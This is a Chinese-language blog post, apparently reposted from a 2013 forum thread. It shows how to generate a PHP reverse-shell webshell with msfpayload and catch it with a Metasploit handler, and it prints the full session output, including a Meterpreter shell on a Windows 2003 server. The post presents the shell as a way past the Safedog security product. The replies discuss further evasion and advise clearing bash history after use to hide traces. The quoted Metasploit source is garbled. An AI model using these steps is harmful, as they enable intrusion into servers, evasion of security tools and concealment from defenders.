0x01 前言
常规的webshell都是调用该语言中习惯函数来完成读取、执行等操作,从协议上来讲是采用http/https协议。但是和服务器通信还有另外一种方式:socket通信。
常见的脚本语言asp,php,jsp,都可以实现对应的socket编程。例如使用msf中:
msfpayload php/reverse_php LHOST=自己的IP LPORT=端口 R > sha1.php
生成的php_webshell:
#
0x02 实例
本机 (192.168.1.5) : win03+msf+ie
测试服务器(192.168.1.108): win03+apache+safedog
设置相关模块:
msf > use multi/handler msf exploit(handler) > et PAYLOAD php/meterpreter/reverse_tcp [-] Unknown command: et. msf exploit(handler) > set PAYLOAD php/meterpreter/reverse_tcp PAYLOAD => php/meterpreter/reverse_tcp msf exploit(handler) > set LHOST 192.168.1.5 LHOST => 192.168.1.5 msf exploit(handler) > set LPORT 2013 LPORT => 2013 msf exploit(handler) > exploit -j [*] Exploit running as background job.
使用浏览器访问木马地址(假设我们已经上传到目标机):
http://192.168.1.108/sha1.php
成功返回一个Meterpreter session:
msf exploit(handler) > [*] Started reverse handler on 192.168.1.5:2013 [*] Starting the payload handler... [*] Sending stage (39217 bytes) to 192.168.1.108 [*] Meterpreter session 2 opened (192.168.1.5:2013 -> 192.168.1.108:1052) at 2013-01-08 20:13:52 +0800 msf exploit(handler) > sessions -l Active sessions =============== Id Type Information Connection -- ---- ----------- ---------- 2 meterpreter php/php SYSTEM (0) @ WIN03SP0 192.168.1.5:2013 -> 192.168.1.108:1052 (192.168.1.108) msf exploit(handler) > sessions -i 2 [*] Starting interaction with 2... meterpreter > sysinfo Computer : WIN03SP0 OS : Windows NT WIN03SP0 5.2 build 3790 (Windows Server 2003 Enterprise Edition) i586 Meterpreter : php/php meterpreter >
如图,phpspy.php安全狗正常拦截,sha1.php正常运行:
然后我们可以执行诸如ls列目录,ps查看进程信息等命令。
0x03 分析
在0x02中在获取的Meterpreter sessions中我们使用
meterpreter > execute -f c:\sha1.exe
这个命令来执行可执行文件,如图所示:
从数据包我们可以看见使用了dapi_sys_process execute这个方法,那么meterpreter是如何发起请求的?msf的源码中查看,找到execute有关的源码(ruby文件)
def php_exec_file exename = Rex::Text.rand_text_alpha(rand(8) + 4) dis = '$' + Rex::Text.rand_text_alpha(rand(4) + 4) shell = dis})} #{php_system_block({:cmd_varname => "$c", :disabled_varname => dis})} @unlink($fname); END_OF_PHP_CODE #return Rex::Text.compress(shell) return shell end
0x04 总结
这种方式执行的webshell,一般的安全防护软件应该还没对此进行监控与防御。大概原因在于这种方式的webshell的利用不是那么方便。但是如果哪位大神有好用的工具,这种webshell还是不错的。
0x05 问题
1.是否有安全软件对这种shell有防护效果
2.这种shell本身是否有什么缺陷
3.如何防这种shell
4.如何变形
5.more..
相关讨论:
3#
坏虾 (黑阔都被爆菊花~) | 2013-01-09 09:26
这个WEBSHELL 利用起来相当方便,我已经用了好久了, 输入shell命令之后,就可以随便提权什么的了.
1,国内的貌似没有防护这块的,国内大多只防护GET POST COOKIE这些数据.
2,缺点是如果服务器在DMZ,则失效.
3,这个还真不知道.大概服务器放在DMZ就可以了
4, - - 变形什么? 生成的shell么?没意义吧
5,more what ..... 这种shell如果被利用多了,肯定会有硬件厂商去做防护的.我恨你!!!!
4#
坏虾 (黑阔都被爆菊花~) | 2013-01-09 09:46
使用shell 之后,别忘记清除一下.bash_history..... www用户的....
5#
upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-01-09 09:50
@坏虾
关于2,3,DMZ这个失效的原理是什么?
关于4,我想的是既然是tcp的协议,要不整个分片什么的
关于5,这个都是相对的嘛,防了想办法突破撒
6#
坏虾 (黑阔都被爆菊花~) | 2013-01-09 09:59
DMZ....
tcp ?分片? 你的意思是想对对方抓到的数据进行加密处理?让对方忽略你? 这个我还真没有了解.以后硬件厂商出了这块的防护再说吧.
7#
upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-01-09 10:05
@坏虾 求教啊大虾,DMZ怎么了? 这个分片我的意思:假设采用数据包过滤的方式来拦截,可以考虑分片啊什么的,当然,怎么防护,办法也不会只有一种
以上内容摘自:http://zone.wooyun.org/content/2264
留言评论(旧系统):
文章来源于lcx.cc:Metasploit 之使用socket通信的webshell简单分析
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论